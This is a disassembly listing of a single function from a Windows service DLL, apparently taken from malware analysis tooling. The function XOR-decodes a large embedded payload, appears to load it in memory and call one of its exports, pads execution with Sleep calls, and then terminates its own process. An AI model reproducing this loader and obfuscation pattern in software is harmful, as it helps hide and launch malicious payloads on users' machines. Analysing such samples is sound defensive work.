Function at 0x180001510
Capabilities:
Encode data using xor
Terminate process

Disassembly:
push rbx
push rsi
push r12
sub rsp, 0x370
mov rax, qword [0x180023010]
xor rax, rsp
mov qword [rsp + 0x350], rax
xor edx, edx
lea rcx, [rsp + 0x30]
mov r8d, 0x104
call fcn.1800046a0
lea rdx, [rsp + 0x30]
call fcn.1800011d0
xor edx, edx
lea rcx, [rsp + 0x140]
mov r8d, 0x208
call fcn.1800046a0
mov rbx, 0xffffffffffffffff
lea rax, [rsp + 0x30]
mov r9, rbx
nop
inc r9
cmp byte [rax + r9], 0
jne 0x180001570
xor r12d, r12d
mov qword [rsp + 0x398], rdi
mov dword [rsp + 0x28], r12d
lea r8, [rsp + 0x30]
xor edx, edx
mov qword [rsp + 0x20], r12
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd rsi, eax
lea ecx, [rsi + 1]
movsxd rcx, ecx
test rcx, rcx
je 0x1800015bb
movzx eax, r12w
lea rdi, [rsp + 0x140]
rep stosw word [rdi], ax
lea rax, [rsp + 0x30]
inc rbx
cmp byte [rax + rbx], r12b
jne 0x1800015c0
lea rax, [rsp + 0x140]
mov dword [rsp + 0x28], esi
mov r9, rbx
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x30]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea rdx, [0x1800014b0]
mov word [rsp + rsi*2 + 0x140], r12w
lea rcx, [rsp + 0x140]
call qword [sym.imp.ADVAPI32.dll_RegisterServiceCtrlHandlerW]
mov qword [0x180051208], rax
test rax, rax
je 0x180001893
lea rdx, [0x1800511e8]
mov dword [0x1800511e8], 0x10
mov rcx, rax
mov dword [0x1800511ec], 4
mov qword [0x1800511f0], 5
mov qword [0x1800511f8], r12
mov dword [0x180051200], r12d
call qword [sym.imp.ADVAPI32.dll_SetServiceStatus]
test eax, eax
je 0x180001893
xor ecx, ecx
mov qword [rsp + 0x360], r15
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, r12
lea rdx, [0x1800239f1]
movzx eax, byte [0x18004f9f1]
xor al, byte [0x18004f9f2]
xor al, byte [0x18004f9f3]
xor al, byte [0x18004f9f0]
xor byte [rcx + rdx - 1], al
movzx eax, byte [rcx + rdx]
xor al, byte [0x18004f9f1]
xor al, byte [0x18004f9f2]
xor al, byte [0x18004f9f3]
xor al, byte [0x18004f9f0]
mov byte [rcx + rdx], al
movzx eax, byte [rcx + rdx + 1]
xor al, byte [0x18004f9f1]
xor al, byte [0x18004f9f2]
xor al, byte [0x18004f9f3]
xor al, byte [0x18004f9f0]
mov byte [rcx + rdx + 1], al
movzx eax, byte [0x18004f9f1]
xor al, byte [0x18004f9f2]
xor al, byte [0x18004f9f3]
xor al, byte [0x18004f9f0]
xor byte [rcx + rdx + 2], al
add rcx, 4
cmp rcx, 0x2c000
jb 0x1800016a1
mov edx, 0x2c000
call fcn.180001070
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, 0x2c000
call fcn.180001ea0
mov r15, rax
test rax, rax
je 0x180001847
mov qword [rsp + 0x390], rbp
xor ecx, ecx
mov qword [rsp + 0x3a0], r13
mov qword [rsp + 0x368], r14
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [r15]
mov r14, qword [r15 + 8]
cmp dword [rcx + 0x8c], r12d
je 0x180001817
mov edi, dword [rcx + 0x88]
add rdi, r14
mov edx, dword [rdi + 0x18]
test edx, edx
je 0x180001817
mov ecx, dword [rdi + 0x14]
test ecx, ecx
je 0x180001817
lea r13, [0x180020d4c]
mov rax, r13
shr rax, 0x10
test ax, ax
jne 0x1800017e0
mov edx, dword [rdi + 0x10]
movzx eax, r13w
cmp eax, edx
jb 0x180001817
sub eax, edx
jmp 0x1800018be
mov ebx, dword [rdi + 0x20]
mov esi, r12d
mov ebp, dword [rdi + 0x24]
add rbx, r14
add rbp, r14
test edx, edx
je 0x180001817
mov edx, dword [rbx]
mov rcx, r13
add rdx, r14
call fcn.1800072d0
test eax, eax
je 0x1800018b7
inc esi
add rbx, 4
add rbp, 2
cmp esi, dword [rdi + 0x18]
jb 0x1800017f3
mov ecx, 0x7f
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov rax, r12
call rax
mov rcx, r15
call fcn.180002380
mov r14, qword [rsp + 0x368]
mov r13, qword [rsp + 0x3a0]
mov rbp, qword [rsp + 0x390]
mov rcx, qword [0x180051208]
lea rdx, [0x1800511e8]
mov dword [0x1800511ec], 3
mov dword [0x1800511fc], r12d
mov dword [0x180051200], 0x3e8
call qword [sym.imp.ADVAPI32.dll_SetServiceStatus]
mov r15, qword [rsp + 0x360]
test eax, eax
je 0x180001893
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rdi, qword [rsp + 0x398]
mov rcx, qword [rsp + 0x350]
xor rcx, rsp
call fcn.180002450
add rsp, 0x370
pop r12
pop rsi
pop rbx
ret
movzx eax, word [rbp]
mov ecx, dword [rdi + 0x14]
cmp eax, ecx
ja 0x180001817
mov edx, dword [rdi + 0x1c]
lea ecx, [rax*4]
lea rax, [r14 + rdx]
mov eax, dword [rcx + rax]
add rax, r14
jmp 0x180001825